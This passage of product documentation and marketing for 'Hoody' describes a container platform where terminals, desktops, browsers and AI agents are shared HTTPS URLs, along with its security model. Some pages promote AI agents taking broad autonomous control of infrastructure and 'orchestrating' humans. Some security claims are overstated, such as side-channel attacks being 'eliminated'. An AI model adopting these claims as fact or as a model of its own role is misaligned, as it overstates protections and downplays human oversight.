- Everyone sees all 20 browsers, all logged-in sessions
- Someone drafts a tweet in browser tab 1
- Another person reviews Instagram stories in browser tab 5
- Third person posts to LinkedIn in browser tab 12
- **All simultaneously working on different tabs. Shared state. Zero credential sharing.**

No more "whose session is this?". It's **our** session.

---

## Any Program, Multiplayer, On Any Device

Here's the revolution: **Programs that were never designed for collaboration become collaborative. And you can access them from anywhere.**

- **VS Code never built for collaboration?** Now it is.
- **Custom internal tools?** Multiplayer.
- **Legacy desktop applications?** Multiplayer.
- **Terminal sessions?** Multiplayer with multiple people typing.
- **File editing?** Multiplayer like Google Docs.
- **20 browsers with logged-in accounts?** Shared state.

**Because it's not about the app—it's about the environment being web-native.**

**Your phone can run VS Code.** Not a mobile version. The actual desktop application.

Because Hoody displays are URLs:
- **Phone** → Open URL → Full VS Code
- **Tablet** → Open URL → LibreOffice
- **TV** → Open URL → Your entire dev environment
- **Smart glasses** → Open URL → Terminals and dashboards
- **Any browser anywhere** → Full desktop applications

The device doesn't matter. **The URL is the computer.**

And because it's multiplayer by default, your team can join from their phones, tablets, laptops—all controlling the same VS Code, the same browser, the same environment.

---

## AI + Humans Together

**This is the future of human-AI collaboration.**

You're coding in a terminal:
- **You type** commands
- **AI agent joins the same URL** and types too
- **You both work simultaneously** in the same environment

You're debugging:
- You check logs in terminal 1
- AI reads stack traces in terminal 2
- Both manipulating the same container
- Seeing each other's actions in real-time

**Not AI suggesting code you copy-paste. AI and human as peers, coding together in shared state.**

Multiple AI agents can join too:
- Agent 1 writing tests in terminal 1
- Agent 2 refactoring code in terminal 2
- Agent 3 updating docs in terminal 3
- You orchestrating across all terminals

**All in the same environment. All visible to each other. This is collaborative intelligence.**

---

## Always Collaborative → Add Permissions When Ready

**The radical philosophy:** Containers start collaborative. You **add** restrictions when you need them.

### Default State (Perfect for Development)
```
https://abc123-def456-display-1.node-us.containers.hoody.icu
```

- ✅ Anyone with URL can join
- ✅ Shared control, everyone can type
- ✅ Perfect for team collaboration
- ✅ Instant sharing (just send URL)

**Cryptographic URLs** (24-char hex IDs) make them unguessable. Share intentionally, not accidentally.

### Production State (When You Need Control)

Add [permissions](/foundation/proxy/permissions/) when ready:
- **IP restrictions** - Only your team's office
- **Basic authentication** - Username/password via URL
- **Bearer tokens** - API-style access control
- **2FA** - Two-factor authentication
- **Read-only mode** - Viewers can't control

**The difference:** You **choose** when to restrict. Default is collaborative. Lock down later.


**Best practice:** Keep development environments open for collaboration. Add permissions when moving to staging/production. Use [Realms](/api/realms/) to isolate production from collaborative environments.


---

## From "My Computer" to "Our Computers"

**The psychological shift is profound.**

You don't think: "Let me share my screen so you can watch"  
You think: "Here's the URL, we're already there"

You don't say: "Wait until I'm done typing"  
You say: "Just start typing" (we're both here)

You don't ask: "Can you see this?"  
You know: **We're looking at the same thing**

**Computing becomes inherently collaborative.** Not through bolted-on features. Through fundamental architecture.

---

## Why This Changes Everything

**Traditional computing:** Each person on their own island. Collaboration requires bridges, boats, swimming.

**Hoody computing:** Everyone in the same space. URLs are portals. Walk through and you're there.

**This enables:**
- **Remote work** that actually feels collaborative
- **Pair programming** that doesn't require being in the same room
- **Teaching** that's genuinely interactive
- **Customer support** that solves problems in seconds
- **AI + human teams** working as peers
- **Desktop applications on any device** (because browsers are universal)
- **Shared accounts and sessions** (marketing teams, operations teams)

**And it's not coming.** It's here. Default. Built-in.

---

> **Collaboration isn't a feature anymore.**  
> **It's the foundation.**  
> **Every computer. Every program. Every environment.**  
> **Multiplayer by default.**

**Welcome to collaborative computing.**

**Next:** [Security Model →](/vision/security/)

---

# Understanding Hoody

**Page:** vision/obsolescence

[Download Raw Markdown](./vision/obsolescence.md)

---

# Understanding Hoody

**We're not building better computers: we're redefining what computing means.**

Your work is trapped on specific devices. AI can't actually use your computer. You pay per isolated server that sits idle. You can't truly collaborate in real-time. You can't access your real environment from anywhere. You want to go AI-first but you feel it's too shaky.

**Hoody changes everything: Spawn infinite isolated computers from one server. Every program, every file, every process is a URL. Where regular users, developers, enterprises, and AI agents all work in the same frictionless environment.**

This isn't an evolution. It's a replacement.

## Why We're Not Ready for What's Coming

Computers weren't designed to be shared, embedded, or operated by non-humans. Three forces demand this changes:

### AI must execute and observe

AI needs autonomy over the entire infrastructure—spawning containers, configuring networks, managing databases, deploying code, deploying other AI agents, testing interfaces. All through HTTP endpoints. But execution isn't enough. AI must watch every action to learn your patterns and anticipate needs. When everything is HTTP, your computer becomes AI's training data automatically.

### Teams and agents need entirely new ways to work

Not screen sharing. Not taking turns. Humans, AI agents, and automation working simultaneously in the same terminals, editors, processes. Real-time shared state, like Google Docs for entire computers.

### Your computing must exist everywhere, instantly

Phone, laptop, TV, watch—instant access to your actual computing state. Not synced copies. The real environment, already online, accessible from anywhere.

---

**HTTP solved this for websites.** Any device, any page, one protocol. Instant. Collaborative. *Why not for computers themselves?*


## Hoody: Everything Is a URL

With Hoody, you don't have one computer. You have infinite isolated computers, each with its own URL, accessible from anywhere.

Why can't you:
- **`<iframe>` your entire desktop** into a web page?
- **`curl` your filesystem** from anywhere?
- **Share your terminal with a URL** like you share a Google Doc?
- **Ask Agent** to interact with anything you are doing? 

The answer is simple: We're using 1970s architecture with 2020s connectivity.

**Hoody makes everything "web-native".** Your entire computer becomes a collection of HTTP endpoints, as embeddable and composable as the web itself. *We've abstracted everything.*

### These Are Your Computers

<div style="
  background: #f8f8f8;
  border: 1px solid #ddd;
  border-radius: 4px;
  padding: 6px 14px;
  font-family: var(--sl-font-mono);
  font-size: 0.6875rem;
  line-height: 1.5;
  color: #333;
  overflow-x: auto;
  margin: 1rem 0 1rem 1.5rem;
">
https://<span class="badge" title="24-character project identifier">67e89abc123def456789abcd</span>-<span class="badge" title="24-character container identifier">890abcdef12345678901cdef</span>-<span class="service-badge" title="Desktop display service">display-1</span>.<span class="badge" title="Your bare metal server provided by Hoody">node-us</span>.containers.hoody.icu
https://<span class="badge" title="24-character project identifier">234567890abcdef123456789</span>-<span class="badge" title="24-character container identifier">abc789abcdef01234567890a</span>-<span class="service-badge" title="Script execution service">exec-1</span>.<span class="badge" title="Your bare metal server provided by Hoody">node-us</span>.containers.hoody.icu
https://<span class="badge" title="24-character project identifier">cdef123456789abc01234567</span>-<span class="badge" title="24-character container identifier">890abcdef123456789abcdef</span>-<span class="service-badge" title="AI agent service">agent-1</span>.<span class="badge" title="Your bare metal server provided by Hoody">node-us</span>.containers.hoody.icu
</div>

One URL per computer. Isolated. Secure. Already online. Already multiplayer. Already embeddable.

**Why isolation matters:** In the AI era, when users blindly trust AI-generated code, isolation isn't optional—it's survival. Each project, each experiment, each AI task runs in its own container. One compromised computer doesn't touch the others.

**Every capability, every service type:**



Plus:
- **Workspaces** — Infinite floating WebOS, shareable desktops with window management that can display multiple containers
- **Containers** — Spawn infinite computers from one server
- **Realms** — API isolation scopes (`https://{realmId}.api.hoody.icu`) for safe multi-tenant automation
- **Storage Shares** — Files accessible across all containers
- **Proxy Aliases** — `your-app.com` → any container, any path
- **Permissions** — Open by default, locked when ready
- **Snapshots** — Time travel for entire computers
- **+100 endpoints** — Basically "Linux" as HTTP - everything can be done

### Your Computers Exist Across Time

```
Last Week ──→ Yesterday ──→ 3h ago ──→ 1h ago ──→ NOW
   ●             ●            ●          ●         ●
```

**Snapshot any moment. Restore instantly.** Everything returns: open browser tabs, running processes, file edits, database states, terminal history. Every computer, exactly as it was.

📸 Infinite snapshots
⚡ Restore in seconds
🌲 Branch like Git

Snapshot before AI rewrites code. Instant rollback if it breaks.
Snapshot before deployments. Restore everything in seconds.
Snapshot experiments. Branch computers like Git branches code.

**Isolation + Time Travel = Security for the AI era.**

### URLs Are Multiplayer by Default

Share a URL. That's it. Everyone's in.

Forget screen sharing and "can you see my cursor?" When everything is a URL, collaboration is instant. Multiple people in the same terminal with colored cursors. Editing the same files simultaneously. Controlling the same browser. Debugging together in real-time. It's Google Docs but for computers.

**Isolate what you share.** Give your team the staging environment URL, not your personal dev containers. Share the production monitoring computer, not the experimental AI playground. Precision multiplayer through URL-based access.

Everything has a URL. Everything is multiplayer. Everything is already online.

## Hoody OS: Your Operating System Lives on the Web

We didn't just make computers accessible via HTTP. We built an entire **operating system** on top of them.

**Hoody OS** is a floating-window web-based OS running on servers you own, built by a team with years of privacy and security engineering behind it. It includes:
- **Hoody Home** — Your dashboard, project launcher, and starting point
- **Hoody Console** — Server management, container administration, monitoring
- **Hoody Workspaces** — A full desktop environment with draggable windows — terminals, code editors, file browsers, AI agents, displays, databases — all arranged however you want

Every app is a URL. Every process inside your container is a URL. Every one of those URLs is HTTPS with HTTP/2 and HTTP/3, automatically, forever. You'll never configure a certificate, never think about TLS, never debug an SSL handshake. That era is over.



Here's what makes it revolutionary: **Hoody OS itself runs on a Hoody container.** The OS that manages your containers is running in a container. It's embeddable, it's shareable, it's multiplayer. You can `<iframe>` the OS inside another OS. It's Hoody running inside Hoody.

And it gets crazier. Open your terminal anywhere on Earth and type:

```bash
ssh hoody.com
```

**Full Hoody OS in your terminal.** We built a complete terminal-based browser (`hoody-terminal-browser`) that renders the same floating-window OS as a TUI. Same functionality, same interface, rendered in characters. Access from a Raspberry Pi, a server with no GUI, your phone's terminal app, or — technically — an ESP32 if you're feeling adventurous.



No username required. No password. It shows a login screen like any browser would. Then you're in your full computing environment.

## Work From Anywhere Means ANYWHERE

On your phone at a café, pull up Hoody OS. On your friend's laptop, open a browser tab. On a plane, `ssh hoody.com` from the seat-back terminal. Your computers are already in the cloud — no syncing, no uploading, they're just there.

This isn't remote desktop. These are isolated computers, native to the web, with a full OS layer on top. The distinction between local and cloud disappears because everything is born online and stays online.

**Each computer is isolated.** AI experiments don't contaminate production. Personal projects don't leak into client work. Every context has its own secure boundary.

## The Economic Revolution

**The VPS model just died.** Today you pay $40/month per isolated server. Dev, staging, production? That's $120/month for three boxes sitting idle 90% of the time. This is insanity—it's like Gmail charging you per email address.

### The New Economics

**One Bare Metal Server → Infinite Containers**

With Hoody, you acquire one physical server and spawn unlimited containers. They share 100% of resources. The economics shift from:
- **Old:** $40 per container, forever
- **New:** $0 per infinite containers after server cost

This isn't a discount—it's a paradigm shift that makes experimentation free and scaling instant.

### Why Bare Metal Changes Everything

**Security Through Physical Control**

When you control the physical machine, you eliminate an entire threat vector. Your containers run on hardware **you own**—not shared with strangers, not in a neighbor's virtual partition. The host OS isn't shared. The hypervisor isn't shared. The bare metal is yours.

**This matters for:**
- **Zero-knowledge architecture** — Your data never touches shared infrastructure
- **AI-era security** — When AI generates code you can't review, isolation must be absolute
- **Compliance and sovereignty** — Data residency isn't a checkbox, it's physical reality
- **Performance** — No "noisy neighbor" problems, no resource contention

The container isolation model only works when the underlying hardware isn't compromised. Bare metal provides that foundation.

## Infrastructure+Code from Conversation

Tomorrow's software development: You describe what you want. AI writes code, builds, buys and sets up infrastructure, and it starts orchestrating everything, including you. It *all* happens through HTTP calls.

**Start from zero.** Tell the agent your budget. It rents a server instantly—bare metal under $20/month, provisioned in seconds. You provide decisions when asked. AI handles everything else.

You watch everything (and intervene) through `hoody-workspaces`—a WebOS in your browser. Your workspace shows everything:
- `hoody-agent` writing code in real-time and spawning dozen more dedicated agents
- `hoody-exec` deploying API endpoints  
- `hoody-terminal` installing packages
- `hoody-sqlite` setting up databases
- `hoody-browser` testing across Chrome versions

When AI needs decisions, `hoody-notification` pings your phone. You answer from anywhere. Work continues, 24/7.

**Here's what changes everything:** The AI begins orchestrating you too. It knows when to request your creativity—"Review this UX flow," linking to `display-1`. "Explain your vision for this feature," opening `code-1` to the exact function. You're not just directing AI; it's directing you to where human insight matters most.

Before production, a security agent implements defense in depth—network isolation, least-privilege access controls, rate limiting, audit logging. Enterprise-grade security by default.

Every agent works in isolated containers. Experiments can't affect production. When something works, snapshot everything. Agents connect your domains and clone to production in seconds.

Any AI on the internet joins this party too. Give ChatGPT, Claude Code, or Codex the address `@hoody.com` — it fetches a Skill, structured instructions for controlling your entire infrastructure via HTTP. Like `ssh hoody.com` opened your OS to any human with a terminal, `@hoody.com` opens it to any AI with a browser. No SDK. No integration. Just HTTP.

**Tomorrow, solo founders will compete with enterprises.**


## Join the Revolution

In 2 to 5 years, everyone will orchestrate AI to build their ideas. The platform that enables this orchestration owns the future. That platform must be HTTP-native so AI understands it naturally, containerized by default for security in the no-code era, infinitely scalable without per-unit costs, completely auditable for the AI safety era, and embeddable everywhere from phones to VR headsets.

> *That platform is Hoody.*

---

# Security Principles

**Page:** vision/security

[Download Raw Markdown](./vision/security.md)

---

# Security Principles

**Traditional security is a house of cards.** A thousand entry points. A million configurations. Endless patches, endless vulnerabilities, endless complexity.

**Hoody's approach:** Everything flows through HTTP. Everything lives in containers. Everything starts isolated. Security is built-in by default—reducing friction while enabling the [100x future](/vision/100x-foundation/) where humans orchestrate AI at scale.

The result? Your attack surface collapses from thousands of vectors to one: your browser.

---

## One Protocol, Focused Security

**Traditional Computing:** SSH, RDP, VNC, FTP, custom protocols, binary APIs. Every protocol is an attack vector requiring separate security models.

**Hoody:** HTTP for everything. One protocol to secure, monitor, and control.

When everything speaks HTTP, your entire security model simplifies to securing web traffic—something we've been perfecting for 30 years.

## Why HTTP Works for Hoody

**We chose HTTP not because it's universally superior, but because it fits our specific architecture perfectly.**

Hoody is built around containers that need to be accessible from anywhere—phones, tablets, browsers, AI agents, IoT devices. HTTP is the one protocol that works everywhere without special clients or configuration.

**The practical benefits for our use case:**

- **Universal compatibility**: Every device speaks HTTP—no client installation needed
- **Single protocol to secure**: Instead of securing SSH + RDP + VNC + FTP + custom protocols, we focus on one
- **Browser sandboxing**: When accessed via browser, you inherit decades of sandboxing improvements
- **Observable by default**: HTTP traffic is easier to log, monitor, and audit than binary protocols
- **Works through firewalls**: Corporate networks that block everything still allow HTTPS
- **Native embeddability**: Containers become iframe-able without special wrappers

**The tradeoffs we accept:**

This approach isn't perfect. Binary protocols can be more efficient. Native applications can access hardware directly. Custom protocols can implement specialized security models.

But for Hoody's goal—making containers accessible from any device, by humans and AI alike—HTTP provides the right balance of security, compatibility, and simplicity.

---

## Cryptographic URL Security

Every container gets a URL like this:

<div style="
  background: #f8f8f8;
  border: 1px solid #ddd;
  border-radius: 4px;
  padding: 6px 14px;
  font-family: var(--sl-font-mono);
  font-size: 0.6875rem;
  line-height: 1.5;
  color: #333;
  overflow-x: auto;
  margin: 1rem 0;
">
https://projectId-<span class="badge" title="24-char hex = 2^96 possibilities">890abcdef12345678901cdef</span>-display-1.node-us.containers.hoody.icu
</div>

**The Math:** Container ID = 24 hex characters = 2^96 possible combinations

Even if an attacker discovers your projectId:
- At 1 billion attempts/second: **2.5 × 10^12 years** to guess
- Using all global computing power: **Still billions of years**

This enables "open by default"—the URL itself is the secret. When you need more, layer on additional auth.

---

## Security Components

Hoody's security isn't layered sequentially—it's a combination of complementary mechanisms working together:

### Unguessable URLs
- **24 hex character container IDs** = 2^96 keyspace
- **No enumeration possible**—can't scan for containers
- **Instant revocation**—delete container, URL dies

### Permissions

**Multi-layered access control from API to service level:**

**Hoody API Access:**
- **Auth tokens** with IP whitelisting, expiration, enable/disable
- Scope tokens to specific realms

**Container Proxy Permissions:**
- **Project-level** (applies to all containers in project)
- **Container-level** (overrides project settings for specific containers)
- **Authentication groups**: JWT, password, IP-based, bearer tokens
- **Program-specific permissions** per group (terminal, files, display, etc.)
- **Default policy**: Allow or deny

**Service-Level Granularity:**
- Terminal: Execute vs read-only
- Files: Read vs write vs delete
- Database: Query vs modify
- Display: View vs control

See [Proxy Permissions](/foundation/proxy/permissions/), [Container Proxy Permissions](/api/proxy-permissions/), and [Auth Tokens](/api/auth-tokens/) for complete configuration.

### TLS Everywhere
- **Every connection HTTPS**—no exceptions
- **Wildcard certificates** (`*.containers.hoody.icu`)—your URLs never appear in Certificate Transparency logs
- **Modern protocols**—HTTP/1.1, HTTP/2 and HTTP/3

### Container Isolation

**All services run inside containers, never on the host.**

The entire **Hoody Kit** (terminal, files, display, exec, database, browser, agent, etc.) runs exclusively inside containers—never on the bare metal host. This architectural decision prevents compromised services from affecting the host system.

**Why this matters:**
- **Host stays pristine**: Only minimal system services run on bare metal
- **Blast radius contained**: Compromised container can't escape to host
- **Easy recovery**: Delete container, spawn fresh replacement
- **No host contamination**: Malware stays isolated to the container

**Isolation Technologies:**
- **Hardened LXC**—lightweight virtualization on the Hoody kernel (with optional full VM instances)
- **Linux namespaces**—kernel-enforced boundaries
- **Hardened kernel**—custom-built (currently `7.0.0-rc5-hoody`)
- **Seccomp filters**—syscall restrictions
- **No shared kernel memory**—containers can't read each other's RAM

**Efficient Scaling (On Your Own Hardware):**

Beyond the core isolation technologies, Hoody employs advanced optimizations to enable massive scale:
- **KSM (Kernel Samepage Merging)**—shares identical memory pages across containers to optimize RAM usage
- **BTRFS deduplication**—eliminates duplicate data blocks for storage efficiency

This allows spawning hundreds of containers without proportional resource consumption.

### Dedicated Infrastructure

**You run your own container engine on dedicated servers you control.**

Unlike traditional cloud providers where multiple customers share physical infrastructure, Hoody containers run on **your bare metal**—no hypervisor sharing, no neighbor containers from other customers.

**Security benefits:**
- Side-channel attacks (Spectre, Meltdown) eliminated
- No hypervisor escape vulnerabilities
- No shared kernel risks between customers
- Container breaches stay within your isolated infrastructure

**Performance benefits:**
- No "noisy neighbor" problems—your containers never compete with strangers' workloads
- Predictable performance—no random slowdowns from other tenants
- 100% resource utilization—every CPU cycle and memory byte is yours

### Disk Encryption (LUKS)
- **AES-256 encryption** at rest
- **Encrypted swap** and temporary files
- **Sub-partition remote unlock**—requires authorized remote mechanism

### Snapshots: Time-Travel Security

**Instant recovery and forensics:** Restore pre-compromise snapshot (30 seconds), preserve compromised state for analysis, compare snapshots to find breach moment. Zero downtime—production runs from clean snapshot while you investigate.

### Realms: API-Level Isolation

Realms segregate the Hoody API, not container networks:

```
https://{realmId}.api.hoody.icu
```

**Purpose:**
- AI agents in one realm can't discover containers in another
- Auth tokens scope to specific realms
- Production/staging/development completely separated at API level
- Multi-tenant isolation for teams/clients

### Container Firewalls

**Host-level network control (not tamperable by containers):**
- Ingress/egress rules per container
- Port-level granularity
- Protocol filtering: TCP/UDP/ICMP controls
- Default-deny stance

**Additional layers:** Users can add iptables, nftables, or ufw inside containers for defense-in-depth.

See [Container Firewalls](/api/container-firewall/) for complete configuration.

### Controlled IPv4 Routing

**No direct IPv4 by default:**
- Containers have no IPv4 address by default
- All external traffic routes through Hoody Proxy
- Forces observable, controllable network access

**Host-Level Exit Options (not tamperable by containers):**
- **SOCKS5/HTTP/HTTPS proxies** as exit nodes
- **WireGuard VPN** integration
- **Commercial VPN providers** (Mullvad, iVPN, AirVPN, etc.) - zero in-container configuration
- **Block mode** to prevent all outgoing traffic
- **Custom DNS servers** (up to 4)

Ideal for location rerouting with zero container management overhead.

See [Container Network Configuration](/api/container-network/) for setup.

### Observability

**When everything is HTTP, everything becomes observable.**

Using hoody-exec, you can intercept and analyze all traffic:
- Scan inputs for malicious payloads
- Create complete audit trails
- Rate limit to prevent abuse
- Validate against policies
- Real-time threat detection

Use [hoody-exec](/kit/exec/) to build observability pipelines that intercept and analyze traffic across services.

### Gateway Containers (Jumphost)

**Think of it as a poor man's VPN—but more appropriate for HTTP-native infrastructure.**

Traditional VPN solutions are complex to configure, require specific clients on every device, and create a single point of failure. Gateway containers give you the same network access model but through pure HTTP—no special software, no configuration files, just a URL.

```
Your Device (Browser Only)  →  Gateway Container  →  Working Containers
```

**How it works:**

A gateway container is just another Hoody container, but you use it exclusively as your entry point. It runs with elevated permissions and MITM capabilities, acting as your secure proxy into the rest of your infrastructure.

From this gateway, you can:
- Access all other containers via their internal network
- Route requests through different exit nodes
- Apply organization-wide security policies
- Log and audit every action across your fleet
- Give temporary access to outsiders without exposing your real infrastructure

**Why this beats traditional VPNs:**

- **Zero client installation**: Works from any browser on any device—phone, tablet, borrowed laptop, internet café
- **Instant provisioning**: Spin up a gateway container in 30 seconds, not hours of VPN configuration
- **Per-user isolation**: Each contractor/team gets their own gateway container with specific permissions
- **Disposable security**: Suspect compromise? Delete gateway, spawn new one, update URL—60 seconds total
- **Better auditability**: Every action is an HTTP request with complete logging, not opaque VPN tunnel traffic
- **Works everywhere**: Corporate firewalls that block VPN protocols allow HTTPS
- **Multiplayer by default**: Share gateway URL with team, everyone sees same environment
- **MITM superpowers**: Inspect, modify, or block any request flowing through your infrastructure

It's the network isolation model of VPNs, but HTTP-native, browser-accessible, and infinitely more flexible. No OpenVPN configs. No WireGuard keys. No "it works on my machine but not yours." Just a URL that grants secure network access through pure HTTP.

---

## What Hoody Knows (And Doesn't Know)

**Technical transparency about data visibility:**

**What Hoody IS Aware Of:**

Through the **Hoody API** (`api.hoody.icu` or `{realmId}.api.hoody.icu`), we can see:
- Container lifecycle events (creation, deletion, snapshots)
- Project and realm configurations
- Storage share mounts and network setup
- Billing and authentication activity
- API request metadata (timestamps, IP addresses, endpoints called)

See our Privacy Policy for complete details on data handling.

**What Hoody is NOT Aware Of:**

Because the **Hoody Proxy runs on YOUR server** (in a container on your bare metal):
- ❌ What you host on containers (websites, tools, applications)
- ❌ Container traffic content
- ❌ Container activity and operations
- ❌ Terminal commands executed
- ❌ Files accessed or modified
- ❌ Database queries and data
- ❌ AI agent prompts or responses
- ❌ HTTP logs from your services
- ❌ Internal container communications

While we cannot see your container activity, you remain responsible for complying with our Acceptable Use Policy.

**The Architecture:**

```
Hoody API (api.hoody.icu)
├─ Sees: Container management, billing, configuration
└─ Cannot see: Container traffic, content, activity

Your Bare Metal Server(s)
└─ Hoody Proxy Container (Your Infrastructure)
    ├─ Routes: All container traffic
    ├─ Enforces: Network policies, firewalls
    └─ Zero-knowledge: Traffic never reaches Hoody infrastructure
        
Your Containers
└─ Complete privacy for all operations
```

---

## AI Privacy & Control

**You're free to use any AI setup you want.**

Install your own agents, use any provider (OpenAI, Anthropic, local models), or connect directly to AI services—it's your infrastructure.

**Why we recommend Hoody AI:**

When using our AI gateway:
- **Proxy on YOUR server**—self-hosted in a container
- **Your choice of [models](/foundation/hoody-ai/models/)**—Claude Opus 4.1, Sonnet 4.5, GPT-5, Gemini 2.5 Pro, Llama, Qwen, or any provider
- **Requests route through your hardware**—before reaching external providers
- **Complete MITM capability**—any container can intercept/inspect prompts or responses
- **Local audit trails**—all AI interactions logged on your server

This gives you complete control and observability while maintaining compatibility with any AI service.

---

## Realistic Security Posture


**Security is never perfect.** Hoody reduces attack surface and simplifies security management, but no system is invulnerable.

What we provide is a more manageable, auditable, and recoverable security model.


### The Dependency Problem

**Compromised dependencies remain an industry-wide challenge.** NPM packages, system libraries, Docker images—the software supply chain has countless potential points of failure. This affects every platform, not just Hoody.

**Our position:** Hoody's focus is on infrastructure isolation and rapid recovery, not solving supply chain security. When a dependency is compromised:

- **Container isolation** limits the blast radius—one compromised container doesn't spread
- **Snapshots** enable instant rollback to known-good states
- **Realms** prevent cross-contamination between projects
- **HTTP observability** helps detect unusual behavior faster

But we don't claim to prevent supply chain attacks. That's a broader ecosystem problem requiring solutions at the package manager, build tool, and distribution levels—beyond any single platform's scope.

**The 100x future** discussed in [The 100x Foundation](/vision/100x-foundation/) depends on trusting AI-generated code and third-party packages. Hoody provides the isolation and recovery mechanisms to make that trust viable through containment, not prevention.

### What Hoody Improves

- **Attack Surface**: Thousands of protocols → Single HTTP entry point
- **Recovery**: Hours/days to patch → Seconds to restore from snapshot
- **Auditing**: Scattered logs → Unified HTTP logging
- **Forensics**: Lost evidence → Perfect state preservation

### What Remains Complex

- **Application security** still requires careful coding
- **Authentication** still needs proper implementation
- **Network policies** still need configuration
- **Security patches** / **Updates** still need to be applied
- **Human factors** remain the weakest link

---

## Key Principles

**Hoody's security model provides:**
- **Simpler security** through protocol unification
- **Faster recovery** through snapshot restoration
- **Better visibility** through HTTP observability
- **Reduced surface** through browser-only access
- **Complete forensics** through state preservation
- **AI privacy** through self-hosted infrastructure and MITM capability

When everything is containerized, HTTP-native, and snapshot-able, security becomes more manageable—not magical.

---

> **Traditional security:** Thousands of doors, each with different locks  
> **Hoody security:** One door, cryptographically sealed, fully observable  
> **The difference:** Not perfection, but radical simplification.

**Next:** [Getting Started →](/getting-started/quickstart/)

---

# The Vibe

**Page:** vision/the-vibe

[Download Raw Markdown](./vision/the-vibe.md)

---

# The Vibe

**Your laptop is a viewport. Your server is the computer.**

Every process you run — terminals, GUIs, databases, AI agents, cron jobs, file browsers, code editors — gets an HTTPS URL the moment it starts. No certificates. No ports. No reverse proxies. HTTP/2 + HTTP/3, automatically, forever. Share the URL and someone else is looking at it. Embed it in an iframe and it's part of a dashboard. Call it from `curl` and it's an API. That's the whole model.

This page is the full picture. What Hoody is, what it enables, and why the architecture makes everything else feel like duct tape.

---

## The Primitive: URLs

```
https://{projectId}-{containerId}-terminal-1.{node}.containers.hoody.icu
https://{projectId}-{containerId}-display-1.{node}.containers.hoody.icu
https://{projectId}-{containerId}-sqlite-1.{node}.containers.hoody.icu
https://{projectId}-{containerId}-workspaces-1.{node}.containers.hoody.icu
https://{projectId}-{containerId}-exec-1.{node}.containers.hoody.icu
https://{projectId}-{containerId}-code-1.{node}.containers.hoody.icu
https://{projectId}-{containerId}-files.{node}.containers.hoody.icu
https://{projectId}-{containerId}-browser-1.{node}.containers.hoody.icu
https://{projectId}-{containerId}-pipe-1.{node}.containers.hoody.icu
```

18 services per container. Unlimited instances per service. Unlimited containers per server. Every combination is a URL.

Run a process → it gets a URL. Share the URL → instant collaboration. Embed the URL → instant integration. Call the URL → instant automation. One primitive. No special protocols. No SDKs required. HTTP in, HTTP out.

---

## Display: GUIs as URLs

Every GUI application running in your container — Firefox, Blender, a desktop environment, an Electron app — streams as a live, interactive URL. Not a screenshot. Not a recording. The real thing, in real time.

```
display-1 → Your React dev server
display-2 → Blender rendering on 128GB RAM
display-3 → Full Linux desktop
```

Multiple displays per container. Each one isolated. Each one embeddable. Cast it to a TV, embed it in Notion, show it to a client — same URL, works everywhere. Your phone becomes a viewport into a render farm. A Raspberry Pi kiosk becomes a production dashboard by loading one URL.

Because displays are isolated, you run conflicting environments side by side. Two app versions. Staging and production. Linux and Windows. Different worlds, same browser tab, zero interference.

---

## Pipe: Data Streams Over HTTP

Named pipes, but over the internet.

**Share your device screen as an HTTP link.** Your laptop screen. Phone camera. A file transfer. Live audio. Any data, over HTTP. One sender fans out to up to 256 receivers, and progress watchers can spectate the transfer without consuming a receiver slot.

```
You (sender) → https://{project}-{container}-pipe-1.{server}.containers.hoody.icu/{'{path}'} → Anyone (receivers)
```

Debugging at 3am? Pipe your screen. Your teammate opens the URL from their phone. They see what you see in real time, type in a shared terminal (also a URL), and you fix it together. Nobody installed anything.

Building a mobile app? Pipe your phone screen to a URL. Your designer watches every tap, every animation, every transition on their monitor. No screen recording. Live HTTP stream.

---

## AI Is a First-Class Citizen

Everything is HTTP. AI agents make HTTP requests. The math checks out.

`GET /terminal/1/output`. `GET /display/1/screenshot`. `POST /sqlite/1/query`. `GET /files/1/list`. `GET /browser/1/status`. The agent uses the exact same interface you do. No adapters. No "AI toolkit." No special permissions. HTTP in, HTTP out.

What this means in practice:
- The agent watches your file changes and suggests refactors based on your codebase patterns
- It monitors your running app via the display URL for visual regressions
- It reads terminal output, queries logs, checks database state — all concurrently
- It spawns new containers, assigns tasks to other agents, collects results
- It fixes a test failure at 3am, pushes the commit, and sends you the diff URL over breakfast

The agent doesn't live in a chatbox. It lives in the same infrastructure you do. Same HTTP, same URLs, same capabilities. The boundary between "AI tool" and "computing environment" doesn't exist because there was never a real boundary — just a protocol.

---

## 75+ AI Providers. Zero Lock-In.

Anthropic. OpenAI. Google. Mistral. Groq. Ollama. Any OpenAI-compatible endpoint. Custom inference servers. 75+ providers out of the box.

Switch models mid-conversation. A/B test providers across containers. Route secrets through environment variables. Today Claude, tomorrow GPT-6, next week a fine-tuned Llama on your own hardware. Config change, not migration. The AI layer is a pluggable socket.

---

## `@hoody.com` — The SSH of the AI Era

`ssh hoody.com` proved universal access for humans. One address. Any terminal. Full environment.

`@hoody.com` does the same for AI.

Give any AI agent — ChatGPT, Claude, Cline, Codex, Roo Code — the address `@hoody.com`. It fetches a **Skill**: a structured capability definition mapping your entire infrastructure to HTTP endpoints. Terminal commands. File operations. Database queries. Deployments. Sub-agent orchestration. The agent doesn't need an MCP server, a plugin, or an SDK. It visits a URL and learns the skill. HTTP teaching HTTP.

Any workflow can be wrapped into a single **hoody-curl** GET URL. A multi-step deployment. A provisioning sequence. A test-and-deploy pipeline. Paste it in a chatbot, embed it in Slack, put it in a QR code. The external AI triggers sub-agents inside your infrastructure, which trigger more sub-agents, which report back — all remotely, all over HTTP.

```
ssh hoody.com  →  any human, any terminal, full access
@hoody.com     →  any AI, any platform, full access
```

Same principle. Same portability. Different era.

---

## Ctrl+Shift+K — Launch Anything

Command palette backed by frecency ranking. Type what you want.

"Install Jupyter" → provisioned, running in a display, streaming to a URL.
"PostgreSQL database" → endpoint ready. No terminal touched.
"Deploy my React app" → built, tested, deployed, proxy alias configured. URL delivered.
"Run Blender with my project" → launched in a container display. URL appears.

Not a chatbot. A launch mechanism for an entire computing environment where every process becomes a URL the moment it starts.

---

## Notifications: The Connective Tissue

Your container sends a notification. It goes everywhere — phone, smartwatch, browser, smart glasses, any device with a push subscription.

Your AI agent finishes a 45-minute build. Your watch taps you: "Build complete. 3 warnings. Preview: [URL]." You tap. You see the live app. You reply "deploy to prod." Done.

Production alert at 2am. Phone vibrates. You tap the notification → terminal URL opens → you see the error → three commands → back to sleep. No laptop. No SSH.

When your environment runs 24/7, notifications are how it reaches you. Events become notifications. Notifications carry URLs. URLs lead back to your infrastructure. One tap from "something happened" to "I'm looking at it."

---

## Hoody OS: The Operating System as a URL

A floating-window web OS running on servers you own:
